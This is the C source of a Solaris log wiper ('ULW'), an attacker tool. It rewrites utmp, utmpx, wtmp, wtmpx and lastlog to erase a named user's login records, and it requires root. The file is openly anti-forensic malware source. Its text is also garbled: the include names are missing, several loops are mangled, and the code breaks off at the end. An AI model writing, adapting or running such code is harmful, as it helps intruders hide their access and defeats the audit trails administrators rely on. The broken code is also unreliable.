/*============================================================ ULW - UNYUN Log Wiper Version 1.10 for Solaris 2.x Programmed by UNYUN ============================================================ */ #include #include #include #include #include #include #include #include #include #define UTMP_NAME "/var/adm/utmp" #define UTMPX_NAME "/var/adm/utmpx" #define WTMP_NAME "/var/adm/wtmp" #define WTMPX_NAME "/var/adm/wtmpx" #define LASTLOG_NAME "/var/adm/lastlog" #define EXT_SPACE 10 #define WIPE_MARK "XXX" #define UTLINE_LEN 100 #define NAME_LEN 100 int main(int argc, char **argv) { struct utmp *wtmp_buf,*utmp_buf; struct utmpx *wtmpx_buf,*utmpx_buf; struct passwd *pwd; struct stat st; int sz1,sz2,sz3,sz4,l1,l2,l3,l4; int tgline,utgline,i,j,k,l,zaped,ff,unzap=0; char tg_utid[UTLINE_LEN],name[NAME_LEN],*ref_mark; time_t dd_time[3]; if (argc<=1){ printf("[Usage]\n"); printf("%s [-u] [UserName]\n",argv[0]); printf("-u : Reconstruct zapped log\n"); return (-1); } strcpy(name,argv[1]); if (name[0]=='-'){ if (argc<=2) strcpy(name,""); else strcpy(name,argv[2]); if (strstr(argv[1],"u")!=NULL) unzap=1; } /* Get filesize of *tmp* */ stat(WTMP_NAME,&st); sz1=st.st_size; stat(WTMPX_NAME,&st); sz2=st.st_size; stat(UTMP_NAME,&st); sz3=st.st_size; stat(UTMPX_NAME,&st); sz4=st.st_size; /* Allocate buffer of *tmp* */ if ((wtmp_buf = (void *)malloc(sz1))==NULL ||(wtmpx_buf = (void *)malloc(sz2))==NULL ||(utmp_buf = (void *)malloc(sz3))==NULL ||(utmpx_buf = (void *)malloc(sz4))==NULL){ printf("Memory allocation error.\n"); return(-1); } /* Read *temp* to allocated buffer */ if ((l1=FileRead(WTMP_NAME, (char *)wtmp_buf, sz1))==-1 ||(l2=FileRead(WTMPX_NAME,(char *)wtmpx_buf,sz2))==-1 ||(l3=FileRead(UTMP_NAME, (char *)utmp_buf, sz3))==-1 ||(l4=FileRead(UTMPX_NAME,(char *)utmpx_buf,sz4))==-1){ free(wtmp_buf); free(wtmpx_buf); free(utmp_buf); free(utmpx_buf); return(-1); } /* Calculate line number of wtmp/wtmpx */ l1/=sizeof(struct utmp); l2/=sizeof(struct utmpx); l3/=sizeof(struct utmp); l4/=sizeof(struct utmpx); if (l1!=l2 || l3!=l4){ printf("Logfile size is invalid.\n",WTMP_NAME,WTMPX_NAME); return(-1); } /* unzap */ if (unzap==1){ if ((ref_mark=(void *)malloc(l1))==NULL){ printf("Memory allocation error.\n"); return(-1); } /* unzap wtmp/wtmpx */ memset(ref_mark,'0',l1); for (i=l1-1;i>=0;i--){ if (wtmpx_buf[i].ut_type==6){ for (j=i+1;j=0;i--){ if (wtmpx_buf[i].ut_type==6 || ( strncmp(wtmp_buf[i].ut_id,"tn",2)!=0 && strncmp(wtmp_buf[i].ut_id,"rl",2)!=0)) continue; for (j=0;jpw_name,wtmp_buf,wtmpx_buf,l1); } /* save */ if (strlen(name)==0){ WriteLOG(wtmp_buf,WTMP_NAME,l1,0);WriteLOG(wtmpx_buf,WTMPX_NAME,l2,1); WriteLOG(utmp_buf,UTMP_NAME,l3,0); WriteLOG(utmpx_buf,UTMPX_NAME,l4,1); } }else printf("wtmp/wtmpx is not zapped.\n"); } if (strlen(name)==0){ free(wtmp_buf); free(wtmpx_buf); free(utmp_buf); free(utmpx_buf); free(ref_mark); return(0); } /* Search target name from wtmpx*/ for (tgline=l1-1;tgline>=0;tgline--) if (strcmp(wtmpx_buf[tgline].ut_user,name)==0) break; if (tgline==-1){ printf("%s does not exist in logfile\n",name); return(-1); } strncpy(tg_utid,wtmpx_buf[tgline].ut_id,4); tg_utid[4]=0; /* Wipe wtmp/wtmpx */ strcpy(wtmp_buf[tgline].ut_id,WIPE_MARK); strcpy(wtmpx_buf[tgline].ut_id,WIPE_MARK); dd_time[0]=wtmp_buf[tgline].ut_time; dd_time[1]=dd_time[2]=0; if (strncmp(wtmpx_buf[tgline].ut_line,"ftp",3)==0){ printf("%s is FTP log.\n",name); /* Wipe FTP Log */ for (i=tgline+1;i=0;i--) if (strncmp(wtmpx_buf[i].ut_id,tg_utid,4)==0 && wtmpx_buf[i].ut_type==6){ strcpy(wtmp_buf[i].ut_id,WIPE_MARK); strcpy(wtmpx_buf[i].ut_id,WIPE_MARK); dd_time[1]=wtmp_buf[i].ut_time; break; } /* Wipe login entry */ if (wtmp_buf[tgline].ut_type==8) for (i=tgline-1;i>=0;i--) if (strncmp(wtmpx_buf[i].ut_id,tg_utid,4)==0 && wtmpx_buf[i].ut_type==7){ strcpy(wtmp_buf[i].ut_id,WIPE_MARK); strcpy(wtmpx_buf[i].ut_id,WIPE_MARK); dd_time[2]=wtmp_buf[i].ut_time; break; } /* Write to utmp/utmpx */ for (ff=0,i=0;i=0;j--) if (strncmp(wtmpx_buf[j].ut_id,tg_utid,4)==0 && wtmpx_buf[j].ut_type==8){ utmp_buf[i]=wtmp_buf[j]; utmpx_buf[i]=wtmpx_buf[j]; break; } if (j==-1){ strcpy(utmp_buf[i].ut_id,WIPE_MARK); strcpy(utmpx_buf[i].ut_id,WIPE_MARK); } } } WipeLastlog(name,wtmp_buf,wtmpx_buf,l1); WriteLOG(wtmp_buf,WTMP_NAME,l1,0); WriteLOG(wtmpx_buf,WTMPX_NAME,l2,1); WriteLOG(utmp_buf,UTMP_NAME,l3,0); WriteLOG(utmpx_buf,UTMPX_NAME,l4,1); free(wtmp_buf); free(wtmpx_buf); free(utmp_buf); free(utmpx_buf); return(0); } int WipeLastlog(char *name,struct utmp *wtmp_buf,struct utmpx *wtmpx_buf,int l) { struct passwd *p; struct lastlog ll,ll_old; int fd,i; if ((p=getpwnam(name))==NULL){ printf("%s does not exist in lastlog.\n"); return(-1); } for (i=l-1;i>=0;i--) if (strcmp(wtmpx_buf[i].ut_user,name)==0 && wtmpx_buf[i].ut_type==7 && strncmp(wtmpx_buf[i].ut_id,WIPE_MARK,strlen(WIPE_MARK))!=0) break; if (i==-1) bzero((char *)&ll,sizeof(struct lastlog)); else{ ll.ll_time=wtmp_buf[i].ut_time; if (strncmp(wtmp_buf[i].ut_line,"ftp",3)==0) strncpy(ll.ll_line,wtmp_buf[i].ut_line+5,sizeof(ll.ll_line)); else strncpy(ll.ll_line,wtmp_buf[i].ut_line,sizeof(ll.ll_line)); ll.ll_line[sizeof(ll.ll_line)-1]=0; strncpy(ll.ll_host,wtmpx_buf[i].ut_host,sizeof(ll.ll_host)); ll.ll_host[sizeof(ll.ll_host)-1]=0; } if ((fd=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(fd,(long)p->pw_uid * sizeof (struct lastlog), 0); read(fd,(char *)&ll_old,sizeof(ll)); if (ll_old.ll_time==ll.ll_time) return(0); lseek(fd,(long)p->pw_uid * sizeof (struct lastlog), 0); write(fd,(char *)&ll,sizeof(ll)); printf("%s replaced.\n",LASTLOG_NAME); close(fd); return(0); }else{ printf("File write error. You have to get rOOt.\n"); return(-1); } } int WriteLOG(void *buf,char *fname,int ln,int flag) { struct utmp *wtmp_buf=buf; struct utmpx *wtmpx_buf=buf; FILE *fp; int i; if ((fp=fopen(fname,"wb"))==NULL){ printf("File write error \"%s\".\n",fname); printf("You have to get rOOt.\n"); return (-1); } for (i=0;i